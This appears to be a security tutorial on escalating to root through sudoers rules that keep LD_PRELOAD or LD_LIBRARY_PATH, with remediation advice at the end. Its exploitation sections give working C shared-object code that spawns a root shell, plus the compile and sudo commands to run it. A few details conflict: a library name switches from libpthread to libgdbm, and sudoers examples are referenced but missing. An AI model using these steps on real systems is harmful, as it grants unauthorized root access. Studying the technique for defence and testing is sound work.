The sudo command in Unix-based systems allows specified users to execute commands as another user, typically the superuser (root). When used incorrectly or in conjunction with environment variables like LD_PRELOAD and LD_LIBRARY_PATH, it can introduce security vulnerabilities.
Environment Variables and sudo Vulnerabilities:
LD_PRELOAD: This variable specifies a list of additional dynamic libraries to be loaded before all others. It can be exploited to load a shared library into the memory space of the running process, potentially altering its behavior.
- Manipulating LD_PRELOAD to load a malicious library before the standard libraries, allowing for code injection or alteration of program behavior.
LD_LIBRARY_PATH: It defines a search path for shared libraries. If manipulated, it can force the system to load malicious libraries from unintended locations.
- Modifying LD_LIBRARY_PATH to load unauthorized or malicious libraries before the legitimate ones, enabling unauthorized code execution.
LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Example of a misconfigured sudoers
- sudo -l
Explanation
env_reset: This option resets the environment to a default, secure state before executing a command using sudo. It clears the environment variables that might pose a security risk or influence command behavior in an unintended way.
env_keep+=LD_PRELOAD: This part instructs sudo to preserve the LD_PRELOAD environment variable from being reset. The += means to add to the list of preserved variables. LD_PRELOAD allows the preloading of shared libraries before other libraries, which could potentially be exploited for malicious purposes. By keeping this variable, it remains unchanged when sudo resets the rest of the environment.
env_keep+=LD_LIBRARY_PATH: Similar to LD_PRELOAD, this line also tells sudo to preserve the LD_LIBRARY_PATH environment variable. LD_LIBRARY_PATH specifies additional paths to search for shared libraries. Preserving it could be useful in certain scenarios where specific libraries need to be located.
This is how a default sudoers looks like
Identification
1. To identify if LD_PRELOAD or LD_LIBRARY_PATH have been enabled, we can run
- sudo -l
Note: We can also read /etc/sudoers, but that is usually restricted
LinPEAS
1. Using LinPEAS.sh we can enumerate sudo -l as well (https://github.com/carlospolop/PEASS-ng/tree/master)
- ./LinPEAS.sh
Exploitation: LD_PRELOAD
1. When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded.
2. Create a new shared object
- cd tmp
- vi preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
3. Compile the code
- gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
- ls -l preload*
3. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object( sudo LD_PRELOAD=/tmp/preload.so program-name-here)
- sudo -l
- sudo LD_PRELOAD=/tmp/preload.so /usr/bin/man
- whoami && id
4. Now you are root!
Exploitation: LD_LIBRARY_PATH
1. The LD_LIBRARY_PATH contains a list of directories which search for shared libraries first. You must test each of the shared libraries to know which one is vulnerable
- sudo -l
- ldd /usr/sbin/iftop
2. Use one of the shared objects in the list and we will hijack it by creating a file with same name. For this demonstration, we will be targeting the libpthread.so.0 (/lib/libpthread.so.0) file.
- vi library_path.c
- cat library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
3. Create a shared object with the same name as one of the listed libraries
- gcc -o /tmp/libpthread.so.0 -shared -fPIC /tmp/library_path.c
- ls -l lib*
4. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_LIBRARY_PATH environment variable to the full path of the new shared object( sudo LD_LIBRARY_PATH=/tmp/libgdbm.so.3 program-name-here)
- sudo LD_LIBRARY_PATH=/tmp /usr/sbin/iftop
- whoami && id
5. Now you are root!
Extra
1. Try renaming /tmp/libgdbm.so.3 to the name of another library used by the program and re-run it using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.
Remediation
- Restrict Environment Variables: Within the sudo configuration, limit or explicitly deny the preservation of critical environment variables like LD_PRELOAD and LD_LIBRARY_PATH.
- Use Defaults: Set the env_reset option in the sudoers file to reset the environment to a default state, clearing potentially dangerous variables.
- Whitelist Approved Paths: If necessary, specify approved paths within the sudoers file where LD_LIBRARY_PATH can be used.
- Update sudo Configuration: Regularly review and update the sudo configuration to reflect the least privilege principle and remove unnecessary permissions.